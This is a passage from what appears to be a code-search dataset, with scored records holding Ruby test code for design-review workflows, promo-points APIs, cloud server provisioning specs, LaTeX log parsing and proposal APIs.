''\n assert_equal(reviewer_result[:comment], design_review_comments.pop.comment)\n end\n\n review_results = DesignReviewResult.find_all_by_design_review_id(mx234a.id)\n\n for review_result in review_results\n assert_equal(expected_results[review_result.role_id.to_s],\n review_result.result)\n end\n\n pre_art_design_review = DesignReview.find(mx234a.id)\n assert_equal(reviewer_result[:expected_results][:review_status_id],\n pre_art_design_review.review_status_id)\n end #suppress \"follow_redirect\" section\n end\n\n #Verify the existing priority and designer.\n mx234a_pre_art_dr = DesignReview.find(mx234a.id)\n mx234a_design = mx234a_pre_art_dr.design\n high = Priority.find_by_name('High')\n low = Priority.find_by_name('Low')\n bob_g = User.find_by_last_name(\"Goldin\")\n scott_g = User.find_by_last_name(\"Glover\")\n patrice_m = User.find_by_last_name(\"Michaels\")\n cathy_m = User.find_by_last_name(\"McLaren\")\n\n assert_equal(high.id, mx234a_design.priority_id)\n assert_equal(5000, mx234a_design.designer_id)\n assert_equal(5001, mx234a_design.peer_id)\n\n release_review = ReviewType.get_release\n pre_art_review = ReviewType.get_pre_artwork\n for mx234a_dr in mx234a_design.design_reviews\n assert_equal(high.id, mx234a_dr.priority_id)\n if release_review.id === mx234a_dr.review_type_id\n assert_equal(patrice_m.name, User.find(mx234a_dr.designer_id).name)\n elsif pre_art_review.id == mx234a_dr.review_type_id\n assert_equal(cathy_m.name, User.find(mx234a_dr.designer_id).name)\n else\n assert_equal(bob_g.name, User.find(mx234a_dr.designer_id).name)\n end\n end\n\n assert_equal(ReviewType.get_pre_artwork.id,\n mx234a_design.phase_id)\n\n # Handle special processing cases\n assert_equal(0, mx234a_design.board.fab_houses.size)\n assert_equal(3, mx234a_design.fab_houses.size)\n fab_houses = mx234a_design.fab_houses.sort_by { |fh| fh.name }\n assert_equal(fab_houses(:ibm).id, fab_houses[0].id.to_i)\n assert_equal(fab_houses(:merix).id, fab_houses[1].id.to_i)\n assert_equal(fab_houses(:opc).id, fab_houses[2].id.to_i)\n \n comment_count = mx234a.design_review_comments.size\n # Verify the behavior when the review is pending and on hold\n updates = [{:review_status => @pending_repost,\n :notice => \"Design Review status is 'Pending Repost': comments were recorded and review results were discarded - mail was sent\",\n :fab_house => {'1' => '1', '2' => '0', '3' => '1',\n '4' => '1', '5' => '0', '6' => '0',\n '7' => '0', '8' => '1'},\n :fab_house_count => 4,\n :fab_house_list => ['AdvantechPWB', 'Coretec', \n 'Merix', 'OPC']},\n {:review_status => @on_hold,\n :notice => \"Design Review status is 'Review On-Hold': comments were recorded and review results were discarded - mail was sent\",\n :fab_house => {'1' => '0', '2' => '0', '3' => '0',\n '4' => '0', '5' => '1', '6' => '0',\n '7' => '1', '8' => '1'},\n :fab_house_count => 3,\n :fab_house_list => ['DDI Anaheim', 'MEI', 'OPC']}]\n \n slm_vendor_session = dan_slm_vendor_session\n updates.each do |update|\n\n review_status = update[:review_status]\n if review_status.id == @on_hold.id\n mx234a.place_on_hold\n else\n mx234a.review_status_id = review_status.id\n mx234a.save\n end\n mx234a.reload\n \n post(:reviewer_results,\n { :post_comment => { \"comment\" => \"#{review_status.name}\" },\n :role_id_18 => { 11 => 'APPROVED' },\n :design_review => { \"id\" => mx234a.id },\n :fab_house => update[:fab_house] },\n slm_vendor_session) \n assert_redirected_to(:action => :post_results)\n #follow_redirect\n # \"follow_redirect\" is part of integration testing and should not be in\n # used in a functional test\n if false #comment out section\n\n email = @emails.pop\n assert_equal(0, @emails.size)\n # Expect comments - the fab houses changed\n assert_equal(mail_subject + '- Comments added', email.subject)\n\n assert_equal(update[:fab_house_count], mx234a.design.fab_houses.size)\n assert_equal(update[:fab_house_count], mx234a.design.board.fab_houses.size)\n \n if update[:fab_house_count] > 0\n design_fab_houses = mx234a.design.fab_houses.sort_by { |fh| fh.name }\n board_fab_houses = mx234a.design.board.fab_houses.sort_by { |fh| fh.name }\n \n 0.upto(update[:fab_house_count]-1) do |i|\n assert_equal(update[:fab_house_list][i], design_fab_houses[i].name)\n assert_equal(update[:fab_house_list][i], board_fab_houses[i].name)\n end\n end\n \n comment_count += 2\n assert_equal(comment_count, mx234a.design_review_comments.size)\n \n #assert_equal(update[:notice], flash['notice'])\n end #suppress follow_redirect\n end \n\n # Handle special proessing for PCB Design Manager\n comment_count = mx234a.design_review_comments.size\n # Verify the behavior when the review is pending and on hold\n updates = [{:review_status => @pending_repost,\n :notice => \"Design Review status is 'Pending Repost': comments were recorded and review results were discarded - mail was sent\",\n :fab_house => {'1' => '1', '2' => '0', '3' => '1',\n '4' => '1', '5' => '0', '6' => '0',\n '7' => '0', '8' => '1'},\n :fab_house_count => 4,\n :fab_house_list => ['AdvantechPWB', 'Coretec', \n 'Merix', 'OPC']},\n {:review_status => @on_hold,\n :notice => \"Design Review status is 'Review On-Hold': comments were recorded and review results were discarded - mail was sent\",\n :fab_house => {'1' => '0', '2' => '0', '3' => '0',\n '4' => '0', '5' => '1', '6' => '0',\n '7' => '1', '8' => '1'},\n :fab_house_count => 3,\n :fab_house_list => ['DDI Anaheim', 'MEI', 'OPC']}]\n \n email = []\n pcb_design_session = jim_pcb_design_session\n updates.each do |update|\n \n review_status = update[:review_status]\n if review_status.id == @on_hold.id\n mx234a.place_on_hold\n else\n mx234a.review_status_id = review_status.id\n mx234a.save\n end\n mx234a.reload\n \n post(:reviewer_results,\n { :post_comment => { \"comment\" => 'Absolutely!' },\n :role_id_12 => { '100' => 'APPROVED' },\n :design_review => { \"id\" => mx234a.id },\n :designer => { :id => scott_g.id },\n :peer => { :id => bob_g.id },\n :priority => { :id => low.id } },\n pcb_design_session)\n\n assert_redirected_to(:action => :post_results)\n #follow_redirect\n # \"follow_redirect\" is part of integration testing and should not be in\n # used in a functional test\n if false #comment out section\n\n email = @emails.pop\n assert_equal(0, @emails.size)\n # Expect comments - the fab houses changed\n assert_equal(mail_subject + '- Comments added', email.subject)\n\n comment_count += 1\n assert_equal(comment_count, mx234a.design_review_comments.size)\n \n #assert_equal(update[:notice], flash['notice'])\n end # suppress follow_redirect\n end\n\n mx234a.reload\n \n designer_email = User.find(mx234a.design.pcb_input_id).email\n\n assert(!email.cc.detect { |addr| addr == designer_email })\n \n mx234a_pre_art_dr = DesignReview.find(mx234a.id)\n mx234a_design = Design.find(mx234a_pre_art_dr.design_id)\n\n assert_equal(low.id, mx234a_design.priority_id)\n assert_equal(scott_g.id, mx234a_design.designer_id)\n\n for mx234a_dr in mx234a_design.design_reviews\n assert_equal(low.name, Priority.find(mx234a_dr.priority_id).name)\n case ReviewType.find(mx234a_dr.review_type_id).name\n when 'Pre-Artwork'\n assert_equal(cathy_m.name, User.find(mx234a_dr.designer_id).name)\n when 'Release'\n assert_equal(patrice_m.name, User.find(mx234a_dr.designer_id).name)\n else\n assert_equal(scott_g.name, User.find(mx234a_dr.designer_id).name)\n end\n end\n\n end",
"title": ""
},
{
"docid": "e06556ca63d079fd445787486aa1d3c1",
"score": "0.52151525",
"text": "def test_promo_bonus_contributions\n bonus_points = rand(100..200) # random points from 100 to 200\n transactions = []\n\n # Step 1\n params = { 'promo_id' => @active_promo_id }\n\n get '/pros/lookup', params\n assert_response(@response, :success)\n orig_contrib_points = @parsed_response['Promo']['ContributedPoints']\n\n # Step 2\n params = {\n 'promo_id' => @active_promo_id,\n 'points' => bonus_points,\n 'moderator_id' => 'App Services'\n }\n\n post '/pros/bonus', params\n assert_response(@response, :client_error)\n assert_equal('InvalidParamsError', @parsed_response['error'])\n assert_equal(\"parameter(s) [\\\"points\\\", \\\"promo_id\\\", \\\"moderator_id\\\", \\\"notes\\\"] must not be blank\", @parsed_response['message'])\n\n params['notes'] = 'API Test'\n\n post '/pros/bonus', params\n assert_response(@response, :success)\n transactions << @parsed_response['Bonus']\n\n # Step 3\n params = { 'promo_id' => @active_promo_id }\n\n get '/pros/lookup', params\n assert_response(@response, :success)\n assert_equal(orig_contrib_points + bonus_points, @parsed_response['Promo']['ContributedPoints'])\n\n # Step 4\n params = {\n 'promo_id' => @active_promo_id,\n 'points' => (bonus_points * -1),\n 'moderator_id' => 'App Services',\n 'notes' => 'API Test'\n }\n\n post '/pros/bonus', params\n assert_response(@response, :success)\n transactions << @parsed_response['Bonus']\n\n # Step 5\n params = {\n 'promo_id' => @active_promo_id,\n 'include_transaction_history' => 'true'\n }\n\n get '/pros/lookup', params\n assert_response(@response, :success)\n assert_equal(orig_contrib_points, @parsed_response['Promo']['ContributedPoints'])\n\n # Step 6\n transactions.each do |transaction|\n assert_includes(@parsed_response['Transactions'], transaction)\n end\n end",
"title": ""
},
{
"docid": "6e72831a230dcb7aa0afab48bbe1f70e",
"score": "0.52141035",
"text": "def run_hp_cspec(test_context, test_case_scene, test_run_expect, factory_to_be_exercised, run_list_cmd = true, run_del_cmd = true)\n context \"\" do\n instance_name = \"instance_name\"\n cmd_out = \"\"\n context \"#{test_context}\" do\n let(:server_create_factory){ FactoryGirl.build(factory_to_be_exercised) }\n # let(:instance_name){ strip_out_command_key(\"#{server_create_factory.node_name}\") }\n let(:command) { prepare_create_srv_cmd_hp_cspec(server_create_factory) }\n after(:each){instance_name = strip_out_command_key(\"#{server_create_factory.node_name}\")}\n context \"#{test_case_scene}\" do\n it \"#{test_run_expect[:status]}\" do\n match_status({:status => test_run_expect[:status]})\n end\n end\n end\n\n if run_list_cmd\n context \"list server after #{test_context} \" do\n let(:grep_cmd) { \"| grep -e #{instance_name}\" }\n let(:command) { prepare_list_srv_cmd_hp_lspec(srv_list_base_fact_hp)}\n after(:each){cmd_out = \"#{cmd_stdout}\"}\n it \"should succeed\" do\n match_status({:status => \"should succeed\"})\n end\n end\n end\n\n if run_del_cmd\n context \"delete-purge server after #{test_context} #{test_case_scene}\" do\n let(:command) { \"#{cmds_hp.cmd_delete_server}\" + \" \" +\n find_id(instance_name, \"#{cmd_out}\") +\n \" \" +\n prepare_knife_command(srv_del_base_fact_hp) +\n \" -y\" + \" -N #{instance_name} -P\"}\n it \"should succeed\" do\n match_status({:status => \"should succeed\"})\n end\n end\n end\n\n end\nend",
"title": ""
},
{
"docid": "6c9e92291fd3e7bd68fa6da44c8d4fff",
"score": "0.5212256",
"text": "def test_ut_cbtt11a_t5_007\n warning = Warning.find(3425)\n # create comment for warning\n new_comment = Comment.new\n new_comment.warning_description = \"warning samdsfdf\"\n new_comment.status = 1\n new_comment.risk_type_id = 2\n new_comment.warning_id = 3425\n new_comment.sample_source_code = \"sample source code\"\n new_comment.save\n # create result id\n warning_result = WarningsResult.new\n warning_result.warning_id = warning.id\n warning_result.result_id = 123\n warning_result.rule_level = Warning.find(warning).rule_level\n warning_result.save\n # create issue\n warning.create_issues\n corresponding_issue = WarningIssue.find_by_warning_id(warning.id)\n new_issue = RedmineIssue.find(corresponding_issue.redmine_issue_id)\n assert_equal(new_issue.status_id, 1)\n assert_equal(new_issue.id, corresponding_issue.redmine_issue_id)\n end",
"title": ""
},
{
"docid": "e0c80dd0dee0cf7791c616f98dd2a489",
"score": "0.5211774",
"text": "def spec_failed(name, counter, failure)\n end",
"title": ""
},
{
"docid": "6a2970b6ad14b62e27ecec9b0cb1b45a",
"score": "0.52081287",
"text": "def test_002\n # @type [Array<Message>] messages\n messages = quick_test('002_pdf_fl.log', { error: 4, warning: 0, info: 1 },\n 11 => ['push /usr/local/texlive/2016/texmf-dist/tex/generic/german/ngerman.sty'],\n 12 => ['pop /usr/local/texlive/2016/texmf-dist/tex/generic/german/ngerman.sty'],\n 44 => ['push /usr/local/texlive/2016/texmf-dist/tex/latex/url/url.sty',\n 'pop /usr/local/texlive/2016/texmf-dist/tex/latex/url/url.sty',\n 'pop /usr/local/texlive/2016/texmf-dist/tex/latex/hyperref/hyperref.sty'],\n 52 => [],\n 53 => ['pop /usr/local/texlive/2016/texmf-dist/tex/context/base/mkii/supp-pdf.mkii',\n 'push /usr/local/texlive/2016/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty'],\n 61 => ['push /usr/local/texlive/2016/texmf-dist/tex/latex/bbold/Ubbold.fd',\n 'pop /usr/local/texlive/2016/texmf-dist/tex/latex/bbold/Ubbold.fd',\n 'pop ./002.tex']\n )\n\n # Runaway argument?\n # {Test. Also, it contains some \\ref {warnings} and \\ref {errors} for t\\ETC.\n verify_message(messages,\n message: /Runaway argument/,\n log_lines: { from: 62, to: 63 },\n level: :error)\n\n # ! File ended while scanning use of \\@footnotetext.\n verify_message(messages,\n message: /File ended while scanning/,\n source_file: /002\\.tex/,\n log_lines: { from: 64, to: 67 },\n level: :error)\n\n # ! Emergency stop.\n verify_message(messages,\n message: /Emergency stop/,\n source_file: /002\\.tex/,\n log_lines: { from: 69, to: 70 },\n level: :error)\n\n # ! ==> Fatal error occurred, no output PDF file produced!\n verify_message(messages,\n message: /no output PDF/,\n log_lines: { from: 72, to: 73 },\n level: :error)\n end",
"title": ""
},
{
"docid": "9f75fe98349afc6017416f9105de0d99",
"score": "0.5207423",
"text": "def adjudicate(payload)\n # TODO make formats configurable\n # e.g. formats = config.fetch(:kitchen, :config, :test_formats, %w(chefspec serverspec teapot))\n %w(chefspec serverspec teapot).each do |f|\n case f\n when 'teapot'\n @teapot_data = teapot_metadata(payload.get(:data, :kitchen, :test_output, :teapot))\n when 'chefspec'\n @chefspec_data = spec_metadata(payload.get(:data, :kitchen, :test_output, :chefspec), :chefspec)\n when 'serverspec'\n @serverspec_data = spec_metadata(payload.get(:data, :kitchen, :test_output, :serverspec), :serverspec)\n end\n end\n\n payload[:data][:kitchen][:judge][:teapot] = @teapot_data || Smash.new\n\n judgement = { :reasons => [] }\n\n judgement[:reasons] << :teapot_runtime if @teapot_data[:total_runtime][:threshold_exceeded]\n\n rspec_result = payload.get(:data, :kitchen, :result, \"bundle exec rspec\")\n kitchen_result = payload.get(:data, :kitchen, :result, \"bundle exec kitchen test\")\n\n judgement[:reasons] << :rspec unless rspec_result.to_s == \"success\"\n judgement[:reasons] << :kitchen unless kitchen_result.to_s == \"success\"\n\n judgement[:decision] = judgement[:reasons].empty?\n\n judgement\n end",
"title": ""
},
{
"docid": "4069dccff5c5b6df1e0638718deea07c",
"score": "0.5201728",
"text": "def test_score(reels, expected_score)\n it \"returns #{expected_score} when given #{reels.join(\", \")}\" do\n slot_machine = SlotMachine.new(reels)\n expect(slot_machine.score).to eq(expected_score)\n end\nend",
"title": ""
},
{
"docid": "8dc670f70d97da204847919ec3b0a507",
"score": "0.5200836",
"text": "def test_user_with_multiple_promo_teams\n # Setup\n @user = setup_user\n @user2 = setup_user\n\n promo_params = { 'start_date' => (Time.now - 1.day).to_i }\n\n create_new_promo(promo_params)\n assert_response(@response, :success)\n assert(@parsed_response['Promo']['Id'])\n refute_empty(@parsed_response['Promo']['TeamNames'])\n promo = @parsed_response['Promo']\n team_names = promo['TeamNames'].shuffle!\n my_teams = team_names.pop(2)\n\n create_new_promo(promo_params)\n assert_response(@response, :success)\n assert(@parsed_response['Promo']['Id'])\n refute_empty(@parsed_response['Promo']['TeamNames'])\n promo_2 = @parsed_response['Promo']\n team_names_2 = promo_2['TeamNames'].shuffle!\n my_teams_2 = team_names_2.pop(2)\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n # Step 1\n assign_http(Config['turtle']['host'])\n\n user_params = {\n 'promo_id' => promo['Id'],\n 'promo_team' => 'NOT_A_VALID_TEAM',\n }\n\n put '/usr', user_params, headers\n assert_response(@response, :client_error)\n assert_equal('InvalidParamsError', @parsed_response['error'])\n assert_equal(\"#{user_params['promo_team']} are not valid teams\", @parsed_response['message'])\n\n # Step 2\n user_params_2 = {\n 'promo_id' => promo_2['Id'],\n 'promo_team' => my_teams_2[0],\n }\n\n put '/usr', user_params_2, headers\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@parsed_response['active_promo_id'], @parsed_response['promo']['id'])\n assert_equal(my_teams_2[0], @parsed_response['promo_team'],\n \"Expected for team #{my_teams_2[0]} to be listed within promo_team: #{@parsed_response['promo_team']}\")\n assert(@parsed_response['promo_teams'].include?(my_teams_2[0]),\n \"Expected for team #{my_teams_2[0]} to be listed within promo_teams: #{@parsed_response['promo_teams']}\")\n\n user_params['promo_team'] = my_teams[0]\n\n put '/usr', user_params, headers\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@parsed_response['active_promo_id'], @parsed_response['promo']['id'])\n assert_equal(my_teams[0], @parsed_response['promo_team'],\n \"Expected for team #{my_teams[0]} to be listed within promo_team: #{@parsed_response['promo_team']}\")\n assert(@parsed_response['promo_teams'].include?(my_teams[0]),\n \"Expected for team #{my_teams[0]} to be listed within promo_teams: #{@parsed_response['promo_teams']}\")\n\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => promo['Id'],\n }.merge(api_key)\n\n get '/pros/dashboard', params, headers\n assert_response(@response, :success)\n dashboard = @parsed_response\n assert_equal(promo['Id'].to_s, @parsed_response['original_request']['promo_id'])\n assert(dashboard['user_stats'])\n assert(my_teams.include?(dashboard['user_stats']['team_name']), dashboard['user_stats']['team_name'])\n assert(dashboard['user_stats']['team_names'].include?(my_teams[0]), dashboard['user_stats']['promo_teams'])\n\n # Step 3\n params = {\n 'access_token' => @user2.oauth_token,\n }.merge(api_key)\n\n get '/pros/dashboard', params, headers\n assert_response(@response, :client_error)\n assert_equal('MissingRequiredParamsError', @parsed_response['error'])\n assert_equal('promo_id must be specified (no active promo)', @parsed_response['message'])\n\n # Step 4\n params = {\n 'access_token' => @user.oauth_token,\n 'user_in_promo' => true,\n }.merge(api_key)\n\n get '/pros/dashboard', params, headers\n assert_response(@response, :success)\n assert_equal('true', @parsed_response['original_request']['user_in_promo'])\n assert(@parsed_response['user_stats'])\n assert_equal(dashboard['user_stats'], @parsed_response['user_stats'], 'Expected Dashboard response to match using promo_id or user_in_promo parameters')\n\n # Step 5\n get_user_info(@user.oauth_token, { 'include_promos' => true })\n assert_response(@response, :success)\n refute_empty(@parsed_response['promos'], @parsed_response)\n assert_equal(@parsed_response['active_promo_id'], @parsed_response['promos'][0]['id'])\n profile_promo = @parsed_response['promos'].find { |p| p['id'] == promo['Id'] }\n assert(profile_promo['team_names'].include?(my_teams[0]), @parsed_response['promos'])\n refute_empty(@parsed_response['promo_teams'][\"#{promo['Id']}\"])\n assert(@parsed_response['promo_teams'][\"#{promo['Id']}\"].include?(my_teams[0]))\n refute_empty(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"])\n assert(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"].include?(my_teams_2[0]))\n refute(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"].include?(my_teams_2[1]))\n\n # Step 6\n assign_http(Config['turtle']['host'])\n\n user_params.delete('promo_team')\n user_params['promo_teams'] = my_teams\n\n put '/usr', user_params, headers\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@parsed_response['active_promo_id'], @parsed_response['promo']['id'])\n assert(my_teams.include?(@parsed_response['promo_team']), @parsed_response['promo_team'])\n assert(@parsed_response['promo_teams'].include?(my_teams[0]), @parsed_response['promo_teams'])\n assert(@parsed_response['promo_teams'].include?(my_teams[1]), @parsed_response['promo_teams'])\n\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => promo['Id'],\n }.merge(api_key)\n\n get '/pros/dashboard', params, headers\n assert_response(@response, :success)\n assert(@parsed_response['user_stats'])\n assert(my_teams.include?(@parsed_response['user_stats']['team_name']), @parsed_response['user_stats']['team_name'])\n assert(@parsed_response['user_stats']['team_names'].include?(my_teams[0]), @parsed_response['promo_teams'])\n assert(@parsed_response['user_stats']['team_names'].include?(my_teams[1]), @parsed_response['promo_teams'])\n\n # Step 7\n params = {\n 'access_token' => @user.oauth_token,\n 'user_in_promo' => true,\n }.merge(api_key)\n\n get '/pros/dashboard', params, headers\n assert_response(@response, :success)\n assert_equal('true', @parsed_response['original_request']['user_in_promo'])\n assert(@parsed_response['user_stats'])\n assert(my_teams.include?(@parsed_response['user_stats']['team_name']), @parsed_response['user_stats']['team_name'])\n assert(@parsed_response['user_stats']['team_names'].include?(my_teams[0]), @parsed_response['promo_teams'])\n assert(@parsed_response['user_stats']['team_names'].include?(my_teams[1]), @parsed_response['promo_teams'])\n\n # Step 8\n get_user_info(@user.oauth_token, { 'include_promos' => true })\n assert_response(@response, :success)\n refute_empty(@parsed_response['promos'], @parsed_response)\n assert_equal(@parsed_response['active_promo_id'], @parsed_response['promos'][0]['id'])\n profile_promo = @parsed_response['promos'].find { |p| p['id'] == promo['Id'] }\n assert(profile_promo['team_names'].include?(my_teams[0]), @parsed_response['promos'])\n assert(profile_promo['team_names'].include?(my_teams[1]), @parsed_response['promos'])\n refute_empty(@parsed_response['promo_teams'][\"#{promo['Id']}\"])\n assert(@parsed_response['promo_teams'][\"#{promo['Id']}\"].include?(my_teams[0]))\n assert(@parsed_response['promo_teams'][\"#{promo['Id']}\"].include?(my_teams[1]))\n refute_empty(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"])\n assert(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"].include?(my_teams_2[0]))\n refute(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"].include?(my_teams_2[1]))\n\n # Step 9\n assign_http(Config['turtle']['host'])\n\n user_params_2.delete('promo_team')\n user_params_2['promo_teams'] = my_teams_2\n\n put '/usr', user_params_2, headers\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@parsed_response['active_promo_id'], @parsed_response['promo']['id'])\n assert(my_teams_2.include?(@parsed_response['promo_team']), @parsed_response['promo_team'])\n assert(@parsed_response['promo_teams'].include?(my_teams_2[0]), @parsed_response['promo_teams'])\n assert(@parsed_response['promo_teams'].include?(my_teams_2[1]), @parsed_response['promo_teams'])\n\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => promo_2['Id'],\n }.merge(api_key)\n\n get '/pros/dashboard', params, headers\n assert_response(@response, :success)\n assert(@parsed_response['user_stats'])\n assert(my_teams_2.include?(@parsed_response['user_stats']['team_name']), @parsed_response['user_stats']['team_name'])\n assert(@parsed_response['user_stats']['team_names'].include?(my_teams_2[0]), @parsed_response['promo_teams'])\n assert(@parsed_response['user_stats']['team_names'].include?(my_teams_2[1]), @parsed_response['promo_teams'])\n\n # Step 10\n get_user_info(@user.oauth_token, { 'include_promos' => true })\n assert_response(@response, :success)\n refute_empty(@parsed_response['promos'], @parsed_response)\n assert_equal(@parsed_response['active_promo_id'], @parsed_response['promos'][0]['id'])\n profile_promo = @parsed_response['promos'].find { |p| p['id'] == promo['Id'] }\n assert(profile_promo['team_names'].include?(my_teams[0]), @parsed_response['promos'])\n assert(profile_promo['team_names'].include?(my_teams[1]), @parsed_response['promos'])\n refute_empty(@parsed_response['promo_teams'][\"#{promo['Id']}\"])\n assert(@parsed_response['promo_teams'][\"#{promo['Id']}\"].include?(my_teams[0]))\n assert(@parsed_response['promo_teams'][\"#{promo['Id']}\"].include?(my_teams[1]))\n refute_empty(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"])\n assert(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"].include?(my_teams_2[0]))\n assert(@parsed_response['promo_teams'][\"#{promo_2['Id']}\"].include?(my_teams_2[1]))\n\n # Step 11\n promo_params = {\n 'promo_id' => promo['Id'],\n 'access_token' => @user.oauth_token,\n }.merge(api_key)\n\n get '/pros/leaderboard', promo_params\n assert_response(@response, :success)\n assert_equal(promo['Id'].to_s, @parsed_response['original_request']['promo_id'])\n assert(@parsed_response['promo'], @parsed_response)\n assert_equal(promo['Id'] , @parsed_response['promo']['id'], @parsed_response['promo'])\n refute_empty(@parsed_response['promo']['team_names'], @parsed_response['promo'])\n assert(@parsed_response['leaderboard'], @parsed_response)\n assert(@parsed_response['top_users'], @parsed_response)\n\n promo_params['promo_id'] = promo_2['Id']\n\n get '/pros/leaderboard', promo_params\n assert_response(@response, :success)\n assert_equal(promo_2['Id'].to_s, @parsed_response['original_request']['promo_id'])\n leaderboard_promo_2 = @parsed_response\n assert(leaderboard_promo_2['promo'], leaderboard_promo_2)\n assert_equal(promo_2['Id'] , leaderboard_promo_2['promo']['id'], leaderboard_promo_2['promo'])\n refute_empty(leaderboard_promo_2['promo']['team_names'], leaderboard_promo_2['promo'])\n assert(leaderboard_promo_2['leaderboard'], leaderboard_promo_2)\n assert(leaderboard_promo_2['top_users'], leaderboard_promo_2)\n\n # Step 12\n promo_params = {\n 'user_in_promo' => true,\n 'access_token' => @user.oauth_token,\n }.merge(api_key)\n\n get '/pros/leaderboard', promo_params\n assert_response(@response, :success)\n assert_equal('true', @parsed_response['original_request']['user_in_promo'])\n assert(@parsed_response['promo'], @parsed_response)\n assert_equal(promo_2['Id'], @parsed_response['promo']['id'], @parsed_response['promo'])\n refute_empty(@parsed_response['promo']['team_names'], @parsed_response['promo'])\n assert(@parsed_response['leaderboard'], @parsed_response)\n assert_equal(leaderboard_promo_2['leaderboard'], @parsed_response['leaderboard'])\n assert(@parsed_response['top_users'], @parsed_response)\n assert_equal(leaderboard_promo_2['top_users'], @parsed_response['top_users'])\n end",
"title": ""
},
{
"docid": "b12e9d98bb86cf31017d37b83831519a",
"score": "0.5194703",
"text": "def batch_badge_creator(speakers)\n speaker_badges = []\n \n speakers.each do |speaker_name|\n speaker_badges << badge_maker(speaker_name)\n end\n \n speaker_badges\nend",
"title": ""
},
{
"docid": "571c0674e86946aa5e661855603c9629",
"score": "0.51923084",
"text": "def printer(array)\n\n badge_list = batch_badge_creator(array)\n room_assign_list = assign_rooms(array)\n\n badge_list.each {|badge|\n puts badge\n }\n\n room_assign_list.each {|room|\n puts room\n }\n\nend",
"title": ""
},
{
"docid": "c2fd6b2b457890c5fc01632683f195d4",
"score": "0.5187708",
"text": "def api_tests\n @testcase = \"apt_test\"\n empty_db_tests\n\n data = { \"id\" => \"test_p1\" }.to_json\n assertEqual(put_json(\"/proposals\", data), [\"{}\", 200], \"Failed to API create proposal: test_p1\", \"Success: create test_p1 proposal\")\n\n assertEqual(put_json(\"/proposals/fred\", data)[1], 404, \"Failed to API create with bad URL proposal: test_p1\", \"Success: create test_p1 proposal with bad url\")\n\n assertEqualTimes(\"get_json(\\\"/proposals\\\")\", [[\"test_p1\"], 200], \"Failed to API get proposals: test_p1\", \"Success: list of proposals with test_p1\", 60)\n\n response = get_json(\"/proposals/test_p1\")\n assertEqual(response[1], 200, \"Failed to show test_p1\", \"Success: getting test_p1\")\n\n assertEqual(post_json(\"/proposals/test_p1\", response[0].to_json), [\"{}\", 200], \"Failed to edit test_p1\", \"Success: editting test_p1\")\n \n response[0][:fred] = \"bad\"\n assertEqual(post_json(\"/proposals/test_p1\", response[0].to_json), [\"key 'fred:' is undefined.\\n\", 400], \"Failed to fail editting test_p1\", \"Success: failed to edit test_p1\")\n\n assertEqual(delete_json(\"/proposals/test_p1\"), [\"{}\", 200], \"Failed to API delete proposal: test_p1\", \"Success: delete test_p1 proposal\")\n assertEqual(delete_json(\"/proposals/test_p1\"), [\"Error, could not delete proposal.\", 404], \"Failed to API delete proposal: missing test_p1\", \"Success: not finding to delete test_p1 proposal\")\n\n data = { \"id\" => \"test_p2\" }.to_json\n assertEqual(put_json(\"/proposals\", data), [\"{}\", 200], \"Failed to API create proposal: test_p2\", \"Success: create test_p2 proposal\")\n assertEqual(post_json(\"/proposals/commit/test_p2\", \"\"), [\"{}\", 200], \"Failed to commit test_p2\", \"Success: created committing test_p2\")\n\n assertEqualTimes(\"get_json(\\\"/proposals\\\")\", [[\"test_p2\"], 200], \"Failed to API get proposals: test_p2\", \"Success: list of proposals with test_p2\", 60)\n assertEqualTimes(\"get_json(\\\"/\\\")\", [[\"test_p2\"], 200], \"Failed to API get: test_p2\", \"Success: list with test_p2\", 60)\n\n response = get_json(\"/test_p2\")\n assertEqual(response[1], 200, \"Failed to show test_p2\", \"Success: getting test_p2\")\n\n assertEqual(delete_json(\"/test_p2\"), [\"{}\", 200], \"Failed to API delete: test_p2\", \"Success: delete test_p2\")\n assertEqual(delete_json(\"/test_p2\"), [\"\", 404], \"Failed to API delete: missing test_p2\", \"Success: delete missing test_p2\")\n\n assertEqual(delete_json(\"/proposals/test_p2\"), [\"{}\", 200], \"Failed to API delete proposal: test_p2\", \"Success: delete test_p2 proposal\")\n\n empty_db_tests\nend",
"title": ""
},
{
"docid": "47d71156981de43de3dd6baaea638802",
"score": "0.518038",
"text": "def check_outcome\n\n # Test 03 is successfull if all of the following are true:\n # 1) the tarball is installed OK AND the application runs OK\n # 2) the application outputs the correct payload from the tarball\n # 3) the application accepts and outputs the correct arguments\n logfile = \"#{property.logpath}/#{Experiment.ID}.log\"\n lines = IO.readlines(\"#{logfile}\")\n # 1)\n match1 = lines.grep(/APP_EVENT\\ STARTED/)\n r1 = (match1.length == 2) ? true : false\n match1 = lines.grep(/APP_EVENT DONE\\.OK/)\n match2 = match1.grep(/AgentCommands/)\n r2 = (match2.length == 2) ? true : false\n # 2)\n match1 = lines.grep(/PAYLOAD\\-1234567890\\-PAYLOAD/)\n match2 = match1.grep(/AgentCommands/)\n r3 = (match2.length == 1) ? true : false\n match1 = lines.grep(/\\-s\\ ABC\\ \\-i\\ 123\\ \\-\\-arg7\\ 456\\ \\-b\\ ZZZ\\ 0\\ \\-\\-arg4\\ \\-\\-arg2\\ DEF/)\n match2 = match1.grep(/AgentCommands/)\n r4 = (match2.length == 1) ? true : false\n\n puts \"Check Outcome [r1:#{r1} - r2:#{r2} - r3:#{r3} - r4:#{r4}]\"\n return true if r1 && r2 && r3 && r4\n return false\n\nend",
"title": ""
},
{
"docid": "77315f884f2187fdb221219ae74a1174",
"score": "0.5178165",
